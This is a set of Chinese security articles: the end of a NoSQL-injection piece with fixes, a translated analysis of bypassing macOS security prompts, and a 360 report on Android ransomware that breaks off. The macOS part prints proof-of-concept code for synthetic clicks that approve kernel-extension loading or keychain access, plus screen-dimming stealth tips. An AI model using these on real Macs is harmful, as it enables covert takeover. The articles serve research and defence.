这样就即全部闭合了前面的代码，又不用考虑闭合后面的代码，感谢”summ3rf”同学，如果你能看到这篇文章，可以联系我共同探讨注入姿势~
完整靶场Writeup：[靶场 | 冲云破雾冷门拖库Writeup](https://www.anquanke.com/post/id/95844)
## 如何防止NoSQL注入
从注入原理上看NoSQL注入的防护也很简单，思路也和SQL注入类似，我们只需要控制输入，禁止使用危险的操作就可以基本避免NoSQL注入。
比如上面那个php例子
$data = array('username' => $_REQUEST['username'],'password' => $_REQUEST['password']
);
通过参数过滤就可以避免。
$data = array('username' => filter_var($_REQUEST['username']),'password' => filter_var($_REQUEST['password'])
);
对于JavaScript注入，`$where`
和Commend方法能不用就尽量不要用了，如果必须用的话一定要限制输入或者把要执行的内容写成JavaScript function通过参数的方式传进去。
<?php$manager = new MongoDB\Driver\Manager("mongodb://mongo:27017");
$username = $_REQUEST['username'];
$cmd = new MongoDB\Driver\Command([
// build the 'distinct' command'eval'=> "function(username){db.users.distinct('username',{'username':' + username + '})}",
'args' => $username,
]);
$cursor = $manager->executeCommand('test', $cmd)->toArray();
var_dump($cursor);
$doc_failed = new DOMDocument();
$doc_failed->loadHTMLFile("failed.html");
$doc_succeed = new DOMDocument();
$doc_succeed->loadHTMLFile("succeed.html");
if(count($cursor)>0){
echo $doc_succeed->saveHTML();
}
else{
echo $doc_failed->saveHTML();
}
还有还有，不要轻易打开一些MongoDB相关的REST
API，防止跨站请求伪造，给应用最小权限，不要存在未授权访问用户……(去年发生的MongoDB勒索事件还记忆犹新……)
一份官方的security-checklist提供给大家参考：
<https://docs.mongodb.com/manual/administration/security-checklist/>
## 尾巴
这篇文从代码层解释了一下NoSQL是如何形成的，还比较浅显，研究并没有结束，今后也许会研究如何稳定利用NoSQL注入，从驱动层解释NoSQL的形成，以及分享靶场搭建的脑洞和技术思路。感谢各位大牛、我的朋友们和破壳漏洞社区对我的支持。
示例代码和靶场代码均已上传至Github：
<https://github.com/bibotai/research_of_nosql_injection>
## 参考
[1] NoSQL注入的分析和缓解
<http://www.yunweipai.com/archives/14084.html>
[2] NoSQL Injection in MongoDB
<https://zanon.io/posts/nosql-injection-in-mongodb>
[3] Testing for NoSQL injection
<https://www.owasp.org/index.php/Testing_for_NoSQL_injection>
[4] 一个有趣的实例让NoSQL注入不再神秘
<http://www.freebuf.com/articles/database/95314.html>
[5] HACKING NODEJS AND MONGODB
<https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html>
[6] PHP Manaul for MongoDB: Script Injection Attacks
<http://docs.php.net/manual/en/mongodb.security.script_injection.php>
[7] No SQL! no injection? A talk on the state of NoSQL security
<https://www.research.ibm.com/haifa/Workshops/security2015/present/Aviv_NoSQL-NoInjection.pdf>
[8] GitHub:youngyangyang04/NoSQLInjectionAttackDemo
<https://github.com/youngyangyang04/NoSQLInjectionAttackDemo> | 社区文章 |
# 合成的现实：轻松一点突破macOS防护
|
##### 译文声明
本文是翻译文章，文章来源：objective-see.com
原文地址：<https://objective-see.com/blog/blog_0x36.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
假如我们是成功获得Mac访问权限的一名黑客（或者恶意软件），我们可能会执行如下操作：
1、转储用户keychain信息；
2、确定当前系统的（地理）位置；
3、枚举用户联系人信息；
4、加载内核扩展（kext）；
5、绕过第三方安全产品。
（对我们攻击者而言）不幸的是，较新版的macOS上有些安全机制会阻止这些操作。现在执行这些操作时，这些安全机制将弹出警告信息。根据macOS的设计，只有用户才能与这些警告交互，如下所示：
然而如果我们能找到一种办法，采用编程方式或者“synthetic（合成的）”方式与这些警告窗口交互，我们就可以一举绕过这些安全机制。也就是说，如果这种攻击行之有效，那么UI就会成为唯一的突破口。本文将深入分析macOS上各类“合成”事件的各方面内容，从滥用这些功能的恶意软件到现在仍未修复的0day攻击。
> 注意：本文覆盖了我最近在DefCon上的演讲：“The Mouse is Mightier than the
> Sword”，同时包含了一些新的技术细节，请访问[此链接](https://speakerdeck.com/patrickwardle/the-> mouse-is-mightier-than-the-sword)获取完整的演讲材料。
## 二、Synthetic攻击简史
采用“合成的”或者编程的方式与UI交互并不是一个创新的想法，我们可以先来看下滥用这种事件的某些恶意软件。
> 注意：本节中描述的攻击方法已不适用于较新版本的macOS，然而下文我们将介绍一些0day方法，可以适用于最新版的Apple操作系统。
`OSX.FruitFly`编写于十多年前，但直到2017年初才引起人们注意。我之前写过介绍这款恶意软件的一份长篇白皮书（[“Offensive
Malware Analysis: Dissecting OSX.FruitFly.B via a Custom C&C
Server”](https://www.virusbulletin.com/uploads/pdf/magazine/2017/VB2017-Wardle.pdf)），其中提到了该恶意软件具备生成“synthetic（合成的）”鼠标及键盘事件的功能：
下面这张动图演示了远程攻击者如何通过`OSX.FruitFly`远程绕过（keychain）安全访问提示窗口：
诞生于2011年的另一款Mac恶意软件（[OSX.DevilRobber](https://nakedsecurity.sophos.com/2011/10/29/devilrobber-mac-os-x-trojan-horse-spies-on-you-uses-gpu-for-bitcoin-mining/)）同样利用了这种“合成的”事件：
@noarfromspace曾提到过，这款恶意软件会导出用户keychain信息，通过几个简单的`AppleScript`命令绕过“keychain
access”提示窗口：
广告软件（adware）也会利用这种“合成的”事件。比如`OSX.Genieo`会把自己安装为浏览器扩展。然而通过代码安装（Safari）浏览器扩展的过程中会有个安全提示窗口阻止这种操作，为了完成这个任务，`OSX.Genieo`必须绕过这个提示窗口。这款广告软件如何实现这一点？只需发送一个“合成的”鼠标事件来点击“Allow”按钮即可！
更具体一点，如果我们（利用[jtool](http://www.newosxbook.com/tools/jtool.html)工具）导出`OSX.Genieo`的方法，可以看到名为`SafariExtensionInstaller`的一个类：
$ jtool -d objc -v Installer.app/Contents/MacOS/AppAS
@interface SafariExtensionInstaller : ?
...
/* 2 - 0x1000376e1 */ + getPopupPosition;
...
/* 4 - 0x100037c53 */ + clickOnInstallButton;
/* 5 - 0x100037d71 */ + clickOnAllowButtonKeychain;
....
/* 8 - 0x100038450 */ + clickOnTrustButton;
来看一下`clickOnInstallButton`的具体行为：
char +[SafariExtensionInstaller clickOnInstallButton]{
(@selector(getPopupPosition))(&var_40);
r14 = CGEventCreateMouseEvent(0x0, 0x5, 0x0, rcx);
r15 = CGEventCreateMouseEvent(0x0, 0x1, 0x0, rcx);
rbx = CGEventCreateMouseEvent(0x0, 0x2, 0x0, rcx);
CGEventPost(0x0, r14);
CGEventPost(0x0, r15);
CGEventPost(0x0, rbx);
首先代码调用`getPopupPosition`方法获取弹出窗口的位置，然后通过`CGEventCreateMouseEvent`以及`CGEventPost`
API发送一些“合成”的鼠标事件。`0x5`对应的是鼠标移动事件，`0x1`和`0x2`分别对应左键按下及松开事件。最终恶意软件可以通过这种方式解除警报，将自己安装为恶意浏览器扩展。
## 三、防御Synthetic事件
在最近版本的macOS上，Apple部署了各种防御措施来阻止这类“合成”攻击。然而这些防御措施并不通用，只能保护特定的UI组件（例如某些安全性或者访问提示窗口）。
在High
Sierra系统上（可能包括较老版本的macOS），如果有人尝试通过代码将鼠标事件发送至访问keychain之类的提示窗口时，操作系统会检测到这种行为并加以阻止：
$ log show
tccd PID[44854] is checking access for target PID[44855]
tccd Service kTCCServiceAccessibility does not allow prompting; returning preflight_unknown
execution error: System Events got an error: osascript is not allowed assistive access. (-1719)
更具体一些，macOS会检查进程在生成“合成”事件时是否已通过辅助访问（assistive
access）检测（是的你没猜错，辅助访问提示窗口也能防御这种攻击方式）：
“辅助访问”权限只能通过手动方式赋予特定的应用，我们可以通过`System
Preferences`（系统偏好设置）应用程序，查看已获取该权限的应用，也可以转储`/Library/Application
Support/com.apple.TCC/TCC.db`系统隐私数据库（受SIP保护）来获取这些信息：
如下系统日志输出给出的信息，现在通过`CoreGraphics`生成的“合成”事件会被过滤及阻止（但同样只适用于被保护的目标UI组件）：
default 08:52:57.441538 -1000 tccd PID[209] is checking access for target PID[25349]
error 08:52:57.657628 -1000 WindowServer Sender is prohibited from synthesizing events
如果我们grep查找`Sender is prohibited from synthesizing
events`，可以在某个核心库的`post_filtered_event_tap_data`函数中找到这个字符串：
int post_filtered_event_tap_data(int arg0, int arg1, int arg2, ...)
if (CGXSenderCanSynthesizeEvents() == 0x0) &&
(os_log_type_enabled(*_default_log, 0x10) != 0x0)) {
rbx = *_default_log;
_os_log_error_impl(..., "Sender is prohibited from synthesizing events",...);
}
int CGXSenderCanSynthesizeEvents() {
...
rax = sandbox_check_by_audit_token("hid-control", 0x0, rdx, rdx);
在如上反编译代码中我们可以看到，如果`CGXSenderCanSynthesizeEvents`函数返回`0`（`false`或者`NO`）则会记录这个错误消息。如果`sandbox_check_by_audit_token`方法调用失败就会出现这种情况。
如函数名所示，`sandbox_check_by_audit_token`函数会检查发送“合成”事件的进程是否具备`hid-control`权限。这个检查过程似乎会在内核中执行，位于`mpo_iokit_check_hid_control_t`函数内部：
## 四、绕过Apple防护措施
现在我们可以戴上黑客帽子（也有可能是白帽子或者灰帽子），讨论某些漏洞以及0day！
我的目标很简单：在打全补丁的High
Sierra系统中通过“合成的”方式与任何/所有UI提示框（如安全、隐私及访问等）交互，像普通用户那样转储keychain或者加载内核扩展！
探索一番后，我发现了名为“Mouse Keys”的一个功能。
“Mouse
Keys”是macOS系统中有[文档说明](https://support.apple.com/kb/ph25642?locale=en_US)的一个功能，根据Apple的说法，该功能可以允许我们把键盘当成鼠标来使用！启用Mouse
Keys功能后，如果想将鼠标移动到右侧，我们只需要按下`O`（或者数字键`6`）即可。如果想生成鼠标点击事件，只需按下`I`（或者数字键`5`即可）：
这就会引出一些问题：
1、能否通过编程方式启动“Mouse Keys”功能？
2、“合成的”键盘事件能否生成可信的“合成的”鼠标事件？
这两个问题的答案都是肯定的！
首先，我们可以使用`AppleScript`在代码中打开`System Preferences`应用面板，面板上有个启用”Mouse
Keys“功能的复选框，然后使用`CoreGraphics`来发送”合成的“鼠标事件，启用该功能：
//enable 'mouse keys'
void enableMK(float X, float Y){
//apple script
NSAppleScript* scriptObject =
[[NSAppleScript alloc] initWithSource:
@"tell application "System Preferences"n"
"activaten"
"reveal anchor "Mouse" of pane id "com.apple.preference.universalaccess"n"
"end tell"];
//exec
[scriptObject executeAndReturnError:nil];
//let it finish
sleep(1);
//clicky clicky
CGPostMouseEvent(CGPointMake(X, Y), true, 1, true);
CGPostMouseEvent(CGPointMake(X, Y), true, 1, false);
return;
}
由于Apple只会保护某些UI组件（比如安全性警告组件）免受”合成“事件的干扰，而这些UI组件并没有受到保护，因此我们操作起来一切顺利：
在启用”Mouse
Keys“功能时，为了生成鼠标点击事件，我们首先需要移动鼠标，然后通过`AppleScript`来发送”合成的“键盘事件。更具体一些，我们合成的是`87`这个键码（keycode）：
//click via mouse key
void clickAllow(float X, float Y)
{
//move mouse
CGEventPost(kCGHIDEventTap, CGEventCreateMouseEvent(nil, kCGEventMouseMoved,
CGPointMake(X, Y), kCGMouseButtonLeft));
//apple script
NSAppleScript* script = [[NSAppleScript alloc] initWithSource:
@"tell application "System Events" to key code 87n"];
//exec
[script executeAndReturnError:nil];
}
在启用”Mouse
Keys“时，当我们”按下“`87`键码（对应的是数字键`5`）时（即使通过代码方式也可以），系统就会将其转换为一次鼠标点击！大家可以使用我开源的[SniffMK](https://github.com/objective-see/sniffMK)鼠标键盘嗅探工具来观察这个现象：
# ./sniffMK
event: key down
keycode: 0x57/87/5
event: key up
keycode: 0x57/87/5
event: left mouse down
(x: 146.207031, y: 49.777344)
event: left mouse up
(x: 146.207031, y: 49.777344)
由于操作系统会把键盘事件转化为鼠标事件，然后”传递“鼠标事件（点击），这样即便受保护的UI组件也会接受并处理这个事件！（一般来说，如果事件来源为操作系统时，这种受保护的组件会信任这些”合成的“事件）。
那么这个功能可以发挥什么作用？非常有用……比如可以转储或者提取用户keychain中所有私钥及未加密的密码，如[这个视频](https://vimeo.com/235313957)所示。
我已经将这个漏洞反馈给Apple，Apple在High Sierra的增量更新中将其标记为CVE-2017-7150加以修复：
但”合成“的幽灵依然阴魂不散！
首先，我注意到各种隐私相关的警告窗口会盲目地接受这种改造后的鼠标事件（即使是在打全补丁的macOS
10.13.*环境中）。比如，在最近版本的macOS上，当代码尝试访问如下数据时，系统会显示警告窗口：
系统（以及用户）的地理位置
用户的联系人信息
用户的日程事件
其他数据
由于这些警告窗口会接受”合成的“事件，恶意软件可以在代码中简单绕过限制：
//given some point {x, y}
// generate synthetic event...
CGPostMouseEvent(point, true, 1, true);
CGPostMouseEvent(point, true, 1, false);
如下PoC动图展示了如何通过攻击方式绕过系统警告窗口，确定用户的地理位置：
大家可能会好奇：”既然恶意软件可以轻松绕过，为什么Apple还坚持弹出警告窗口“？我不知道具体原因，可能他们可以给出自己的解释。
现在还有另一个更加严重的问题。这个问题会导致无特权的恶意软件或者攻击者与”受保护的“UI组件（如High Sierra的”User Assisted
Kernel Loading“（用户辅助内核加载）接口）交互，并且这种方法也适用于打全补丁的macOS 10.6.*系统，非常糟糕。
发现这个问题源自于一次尴尬的意外，当时我想测试Apple对CVE-2017-7150的修复情况，但错误剪切并粘贴了一些代码，结果意外得到了一个0day！
前面提到过我们可以通过`CoreGraphics`方式发送”合成的“鼠标事件，正常情况下，对于这类鼠标点击方式，我们需要发送两个事件：鼠标按下事件，然后是鼠标松开事件：
//given some point {x, y}
// generate synthetic event...
//final param: true => mouse down
CGPostMouseEvent(point, true, 1, true);
//final param: false => mouse up
CGPostMouseEvent(point, true, 1, false);
然而，如果有人拷贝并粘贴了第一行代码`CGPostMouseEvent(point, true, 1,
true);`，并且忘记把最后一个参数从`true`修改为`false`（表示鼠标松开），这样就会生成两次鼠标按下事件。
理论上说这么做会被系统忽略掉，然而事实并非如此。通过`SniffMK`工具，我们可以观察到系统会将第二个（无效的）鼠标按下动作转化为鼠标松开动作：
# ./sniffMK
event: left mouse down
event source pid 951
event state 0 (synthetic)
(x: 1100.000000, y: 511.000000)
event: left mouse up
event source pid 0
event state 0 (synthetic)
(x: 1100.000000, y: 511.000000)
第二个鼠标按下事件变成鼠标松开事件并不是什么大问题，问题在于这个动作由操作系统来执行，这意味着事件的`source process
id`（源进程ID）为`0`（即OS/system）。我们提到过，UI（包括安全提示窗口以及其他受保护的组件）会接受来自系统（pid为`0`）的”合成的“事件。比如，如果发送一个典型的鼠标按下/松开事件到”User
Assisted Kernel Loading“接口的”Allow“按钮时，这些事件会被忽略掉，产生如下错误信息：
$ log stream | grep mouse
Dropping mouse down event because sender's PID (899) isn't 0 or self (828)
然而如果pid为`0`呢？事实上这种操作就会被允许：
非常好，现在我们已经可以通过编程方式允许加载内核扩展，即使是在打全补丁的High Sierra系统上也毫无压力。
在OSX/macOS上，用户总是需要以root身份才能加载这种扩展。因此这种攻击方法能给我们带来什么效果？或者换个说法，”User Assisted
Kernel Loading“的意义何在？
在最近版本的macOS上，我们不仅需要以root身份来加载kext，同时kext还需要带有合法签名，而想从Apple那获取内核的代码签名证书几乎是不可能完成的任务。
然而攻击者还可以执行如下操作（我在2016年DefCon[演讲](https://speakerdeck.com/patrickwardle/defcon-2016-i-got-99-problems-but-little-snitch-aint-one)上也提到过)：
1、加载存在已知漏洞的第三方驱动（带有合法签名）；
2、利用已知漏洞来内核上下文中的任意代码执行权限。
Apple对这种攻击方式给出的解决方案是”User Assisted Kernel
Loading“，该接口要求用户必须手动批准任意kext的加载动作，但我们刚刚才看到这种”安全“机制曾出现过问题（CVE-2017-7150），并且仍然被我们无情地打破。那么谁是受害者？那就是与攻击者不是一类人的第三方开发者，他们只能遵循Apple制定的游戏规则来玩
🙁
## 五、隐身性分析
使用”合成“事件的这类攻击技术有一个明显的缺点，那就是攻击过程被用户一览无遗。
想象一下，当用户安坐在办公桌的Mac主机前，突然有个警告出现，而鼠标竟然会自动移动，然后点击解除警告窗口，傻子都知道自己被攻击了！
（对攻击者和恶意软件来说）幸运的是，解决办法也非常简单，只需要调暗屏幕即可：
当屏幕亮度变为`0.0`时，UI仍然”存在“并且处于活动状态（相对比屏幕被锁定或者屏保程序运行时）。然而，这些界面对用户来说似乎处于”关闭“状态，因此任何”合成“攻击都会隐藏在用户眼皮底下。
现在（作为攻击者）我们需要确保找到合适的机会调暗屏幕，比如：
1、用户一定时间没有操作时（使用`CGEventSourceSecondsSinceLastEventType` API获取这个信息）；
2、当屏幕即将休眠时。
在第二种情况下，代码可以检测显示器什么时候会进入休眠（通过`kIOMessageCanDevicePowerOff`通知）。此时程序可以将屏幕亮度快速调节为`0.0`，然后在屏幕休眠前快速执行各种”合成“攻击：
## 六、总结
通过使用”合成的“事件，恶意软件或者本地攻击者可以绕过macOS内置的各种安全机制：
虽然Apple已经知道这种攻击向量，也尝试过保护系统中与安全和隐私有关的UI组件，但攻击者还是简单地打破了这个屏障。即使在打全补丁的High
Sierra系统上，这种”合成式“交互操作还是非常容易，可以于无形之中绕过这类UI组件。
（对我们Mac用户而言）好消息在于在macOS
Mojave（10.14）上，这类”合成的“事件会在全局上被系统忽略掉（除非用户显式赋予某个应用这种权限）。虽然这种方法会影响各种合法的应用，但从安全角度来看，这又是正确的方法，所以我们就尽情享受这一点吧！ | 社区文章 |
# Android勒索软件研究报告
|
##### 译文声明
本文是翻译文章，文章来源：360移动安全团队
译文仅供参考，具体内容表达以及含义原文为准。
2016年4月8日
摘 要
²手机勒索软件是一种通过锁住用户移动设备,使用户无法正常使用设备,并以此胁迫用户支付解锁费用的恶意软件。其表现为手机触摸区域不响应触摸事件,频繁地强制置顶页面无法切换程序和设置手机PIN码。
²手机勒索软件的危害除了勒索用户钱财,还会破坏用户数据和手机系统。
²手机勒索软件最早从仿冒杀毒软件发展演变而来,2014年5月Android平台首个真正意义上的勒索样本被发现。
²截至2016年第一季度,勒索类恶意软件历史累计感染手机接近90万部,从新增感染手机数据看,2015年第三季度新增感染手机接近35万部。
²截至2016年第一季度,共捕获手机勒索类恶意样本7.6万余个。其中国外增长迅速,在2015年第三季度爆发式增长,季度捕获量接近2.5万个;国内则稳步上升。
²国外最常伪装成色情视频、Adobe Flash Player和系统软件更新;国内则最常伪装成神器、外挂及各种刷钻、刷赞、刷人气的软件。
²从手机勒索软件的技术原理看,锁屏主要利用构造特殊的悬浮窗、Activity劫持、屏蔽虚拟按键、设置手机PIN码和修改系统文件。解锁码生成方式主要是通过硬编码、序列号计算、序列号对应。解锁方法除了直接填写解锁码,还能够通过短信、联网和解锁工具远程控制解锁。
²制作方面,主要使用合法的开发工具AIDE,通过QQ交流群、教学资料、收徒传授的方式进行指导。
²传播方面,主要通过QQ群、受害者、贴吧、网盘等方式传播。
²制马人通过解锁费、进群费、收徒费等方式获取非法所得,日收益在100到300元不等,整个产业链收益可达千万元。
²从制马人人群特点看,年龄分布呈现年轻化,集中在90后和00后。一方面自己制作勒索软件;另一方面又通过收徒的方式像传销一样不断发展下线。
²从被敲诈者人人群特点看,主要是一些经常光顾贴吧,以及希望得到各种“利器”、“外挂”的游戏QQ群成员。
²从预防的角度,可以通过软件大小、名称、权限等方式进行甄别,同时需要提高个人安全意识,养成良好的使用手机习惯。
²在清除方法上,可以通过重启、360手机急救箱、安全模式、ADB命令、刷机等多种方案解决。
关键词:手机勒索软件、锁屏、产业链
目 录
第一章Android平台勒索软件介绍… 1
一、勒索软件定义…. 1
二、勒索软件表现形式…. 1
三、勒索软件的危害…. 4
四、勒索软件历史演变…. 5
第二章Android平台勒索软件现状… 6
一、勒索类恶意样本感染量…. 6
二、勒索类恶意样本数量…. 6
三、常见伪装对象…. 7
四、用户损失估算…. 7
第三章Android平台勒索软件技术原理… 8
一、锁屏技术原理…. 8
二、解锁码生成方式…. 10
三、常见解锁方法…. 12
第四章Android平台勒索软件黑色产业链… 14
一、制作…. 14
(一)制作工具…. 14
(二)交流群…. 14
(三)教学资料…. 16
(四)收徒传授…. 16
二、传播…. 17
(一)QQ群…. 18
(二)借助受害者…. 18
(三)贴吧…. 19
(四)网盘…. 20
三、收益…. 20
(一)收益来源…. 21
(二)日均收益…. 23
(三)产业链收益…. 24
四、制马人人群特点…. 25
(一)制马人年龄分布…. 25
(二)制马人人员架构…. 25
五、被敲诈人人群特点…. 26
第五章Android平台勒索软件的预防… 27
一、勒索软件识别方法…. 27
二、提高个人安全意识…. 27
第六章Android平台勒索软件清除方案… 28
一、手机重启…. 28
二、360手机急救箱…. 28
三、安全模式…. 28
四、ADB命令…. 28
五、刷机…. 29
附录一:参考资料… 30
第一章Android平台勒索软件介绍
一、勒索软件定义
手机勒索软件是一种通过锁住用户移动设备,使用户无法正常使用设备,并以此胁迫用户支付解锁费用的恶意软件[1]。
二、勒索软件表现形式
1)主要通过将手机触摸屏部分或虚拟按键的触摸反馈设置为无效,使触摸区域不响应触摸事件。
2)频繁地强制置顶页面,造成手机无法正常切换应用程序。
3)设置手机锁定PIN码,无法解锁进入手机系统。
三、勒索软件的危害
1)敲诈勒索用户钱财
2)加密手机文件,破坏用户数据
3)清除手机应用,破坏手机系统
四、勒索软件历史演变
2013年06月Android.Fakedefender[2],仿冒杀毒软件恐吓用户手机存在恶意软件要求付费并且顶置付费提示框导致无法清除。
2014年05月Android.Koler[3],Android平台首个真正意义上的勒索样本。
2014年06月Android.Simplocker[4],首个文件加密并且利用洋葱网络的勒索样本。
2014年06月Android.TkLocker[5],360发现首个国内恶作剧锁屏样本。
2014年07月Android.Cokri[6],破坏手机通讯录信息及来电功能的勒索样本。
2014年09月Android.Elite[7],清除手机数据并且群发短信的锁屏样本。
2015年05月Android.DevLocker[8],360发现国内出现首个设置PIN码的勒索样本。
2015年09月Android.Lockerpin[9],国外出现首个设置PIN码的勒索样本。
第二章Android平台勒索软件现状
一、勒索类恶意样本感染量
截至2016年第一季度,勒索类恶意软件历史累计感染手机接近90万部,通过对比2015到2016年季度感染变化趋势,可以看出2015年第三季度新增感染手机接近35万部。
二、勒索类恶意样本数量
截至2016年第一季度,共捕获勒索类恶意样本7.6万余个,通过对比2015到2016年季度变化情况,可以看出国外勒索类恶意软件增长迅速,并且在2015年第三季度爆发式增长,季度捕获量接近2.5万个;反观国内勒索类恶意软件增长趋势,虽然没有爆发式增长,但是却呈现出稳步上升的趋势。
三、常见伪装对象
对比国内外勒索类恶意软件最常伪装的软件名称可以看出,国外勒索类恶意软件最常伪装成色情视频、Adobe Flash
Player和系统软件更新这类软件。而国内勒索类恶意软件最常伪装成神器、外挂及各种刷钻、刷赞、刷人气的软件,这类软件往往利用了人与人之间互相攀比的虚荣心和侥幸心理。
四、用户损失估算
2015年全年国内超过11.5万部用户手机被感染,2016年第一季度国内接近3万部用户手机被感染。每个勒索软件的解锁费用通常为20、30、50元不等,按照每位用户向敲诈者支付30元解锁费用计算,2015年国内用户因此遭受的损失达到345万元,2016年第一季度国内用户因此遭受的损失接近90万。
第三章Android平台勒索软件技术原理
一、锁屏技术原理
1)利用WindowManager.LayoutParams的flags属性
通过addView方法实现一个悬浮窗,设置WindowManager.LayoutParams的flags属性,例如,“FLAG_FULLSCREEN”、“FLAG_LAYOUT_IN_SCREEN”配合“SYSTEM_ALERT_WINDOW”的权限,使这个悬浮窗全屏置顶且无法清除,造成手机屏幕锁屏无法正常使用。
2)利用Activity劫持
通过TimerTask定时监控顶层Activity,如果检测到不是自身程序,便会重新启动并且设置addFlags值为“FLAG_ACTIVITY_NEW_TASK”覆盖原来程序的Activity,从而利用Activity劫持手段,达到勒索软件页面置顶的效果,同时结束掉原来后台进程。目前Android5.0以上的版本已经采取了保护机制来阻止这种攻击方式,但是5.0以下的系统仍然占据绝大部分。
3)屏蔽虚拟按键
通过改写onKeyDown方法,屏蔽返回键、音量键、菜单键等虚拟按键,造成不响应按键动作的效果,来达到锁屏的目的。
4)利用设备管理器设置解锁PIN码
通过诱导用户激活设备管理器,勒索软件会在用户未知情的情况下强制给手机设置一个解锁PIN码,导致用户无法解锁手机。
5)利用Root权限篡改系统文件
如果手机之前设置了解锁PIN码,勒索软件通过诱导用户授予Root权限,篡改/data/system/password.key文件,在用户不知情的情况下设置新的解锁PIN码替换旧的解锁PIN码,达到锁屏目的。
二、解锁码生成方式
1)解锁码硬编码在代码里
有些勒索软件将解锁码硬编码在代码里,这类勒索软件解锁码唯一,且没有复杂的加密或计算逻辑,很容易找到解锁码,比较简单。
2)解锁码通过序列号计算
与硬编码的方式相比,大部分勒索软件在页面上都显示了序列号,它是恶意软件作者用来标识被锁住的移动设备编号。一部分勒索软件解锁码是通过序列号计算得出,例如下图中的fkey代表序列号,是一个随机生成的数;key代表解锁码,解锁码是序列号*3-98232计算得出。这仅是一个简单的计算例子,这种方式解锁码随序列号变化而变化,解锁码不唯一并且可以使用复杂的计算逻辑。
3)解锁码与序列号键值对关系
还有一部分勒索软件,解锁码与序列号都是随机生成,使用键值对的方式保留了序列号和解锁码的对应关系。这种方式序列号与解锁码没有计算关系,解锁码会经过各种加密变换,通过邮件等方式回传解锁码与序列号的对应关系。
三、常见解锁方法
1)直接输入解锁码解锁
用户通过付给敲诈者钱来换取设备的解锁码。将解锁码直接输入在勒索页面里来解锁屏幕,这是最常见的勒索软件的解锁方式之一。
2)利用短信控制解锁
短信控制解锁方式,就是通过接收指定的短信号码或短信内容远程解锁,这种解锁方式会暴露敲诈者使用的手机号码。
3)利用联网控制解锁
敲诈者为了隐藏自身信息,会使用如洋葱网络等匿名通信技术远程控制解锁。这种技术最初是为了保护消息发送者和接受者的通信隐私,但是被大量的恶意软件滥用。
4)利用解锁工具解锁
敲诈者为了方便进行勒索,甚至制作了勒索软件配套的解锁控制端。
第四章Android平台勒索软件黑色产业链
本章主要从Android平台勒索软件的制作、传播、收益角度及制马人和被敲诈的人群特点,重点揭露其在国内的黑色产业链。
一、制作
(一)制作工具
国内大量的锁屏软件都使用合法的开发工具AIDE,AIDE是Android环境下的开发工具,这种开发工具不需要借助电脑,只需要在手机上操作,便可以完成Android样本的代码编写、编译、打包及签名全套开发流程。制马人使用开发工具AIDE只需要对源码中代表QQ号码的字符串进行修改,便可以制作成一个新的勒索软件。
因为这种工具操作简单方便,开发门槛低,变化速度快,使得其成为制马人开发勒索软件的首选。
(二)交流群
通过我们的调查发现,制马人大多使用QQ群进行沟通交流,在QQ群查找里输入“Android锁机”等关键字后,就能够找到很多相关的交流群。
下图是某群的群主在向群成员炫耀自己手机中保存的锁机源码
(三)教学资料
制作时不仅有文字资料可以阅读,同时在某些群里还提供了视频教程,可谓是“图文并茂”
锁机教程在线视频
锁机软件教程
(四)收徒传授
在群里,群主还会以“收徒”的方式教授其他人制作勒索软件,在扩大自己影响力的同时,也能够通过这种方式获取利益。
二、传播
通过我们的调查研究,总结出了国内勒索软件传播示意图
制马人通过QQ群、受害者、贴吧、网盘等方式,来传播勒索软件。
(一)QQ群
制马人通过不断加入各种QQ群,在群共享中上传勒索软件,以“外挂”、“破解”、“刷钻”等各种名义诱骗群成员下载,以达到传播的目的。
(二)借助受害者
当有受害者中招时,制马人会要求受害者将勒索软件传播到更多的QQ群中,以作为换取解锁的条件。
(三)贴吧
制马人在贴吧中以链接的方式传播。
(四)网盘
制马人将勒索软件上传到网盘中,再将网盘链接分享到各处,以达到传播的目的。
三、收益
通过我们的调查研究,总结出了国内勒索软件产业链的资金流向示意图
制马人主要通过解锁费、进群费、收徒费等方式获取非法所得,日收益在100到300元不等。
(一)收益来源
解锁费
进群费
收徒费
(二)日均收益
制马人通过勒索软件的日收益在100到300元不等
(三)产业链收益
2015年全年国内超过11.5万部用户手机被感染,2016年第一季度国内接近3万部用户手机被感染。每个勒索软件的解锁费用通常为20、30、50元不等,按照每个勒索软件解锁费用30元计算,2015年国内Android平台勒索类恶意软件产业链年收益达到345万元,2016年第一季度接近90万。国内Android平台勒索类恶意软件历史累计感染手机34万部,整个产业链收益超过了千万元,这其中还不包括进群和收徒费用的收益。
四、制马人人群特点
(一)制马人年龄分布
从抽取的几个传播群中的人员信息可以看出,制马人的年龄分布呈现年轻化,集中在90后和00后。
(二)制马人人员架构
绝大多数制马人既扮演着制作者,又扮演着传播者的角色。他们一方面自己制作勒索软件,再以各种方式进行传播;另一方面又通过收徒的方式像传销一样不断发展下线,使制马人和传播者的人数不断增加,勒索软件的传播范围更广。
这群人之所以肆无忌惮制作、传播勒索软件进行勒索敲诈,并且大胆留下自己的QQ、微信以及支付宝账号等个人联系方式,主要是因为他们年龄小,法律意识淡薄,认为涉案金额少,并没有意识到触犯法律。甚至以此作为赚钱手段,并作为向他人进行炫耀的资本。
五、被敲诈人人群特点
通过一些被敲诈的用户反馈,国内敲诈勒索软件感染目标人群,主要是针对一些经常光顾贴吧的人,以及希望得到各种“利器”、“外挂”的游戏QQ群成员。这类人绝大多数是90后或00后用户,抱有不花钱使用破解软件或外挂的侥幸心理,或者为了满足互相攀比的虚荣心,容易被一些带有“利器”、“神器”、“刷钻”、“刷赞”、“外挂”等名称的软件吸引,从而中招。
第五章Android平台勒索软件的预防
一、勒索软件识别方法
1)软件大小
安装软件时观察软件包的大小,这类勒索软件都不会太大,通常不会超过1M。
2)软件名称
多数勒索软件都会伪装成神器、外挂及各种刷钻、刷赞、刷人气的软件。
3)软件权限
多数勒索软件会申请“SYSTEM_ALERT_WINDOW”权限或者诱导激活设备管理器,需要在安装和使用时留意。
二、提高个人安全意识
1)可信软件源
建议用户在选择应用下载途径时,应该尽量选择大型可信站点,如360手机助手、各软件官网等。
2)安装安全软件
建议用户手机中安装安全软件,实时监控手机安装的软件,如360手机卫士。
3)数据备份
建议用户日常定期备份手机中的重要数据,比如通讯录、照片、视频等,避免手机一旦中招,给用户带来的巨大损失。
4)拒绝诱惑
建议用户不要心存侥幸,被那些所谓的能够“外挂”、“刷钻”、“破解”软件诱惑,这类软件绝大部分都是假的,没有任何功能,只是为了吸引用户中招。
5)正确的解决途径
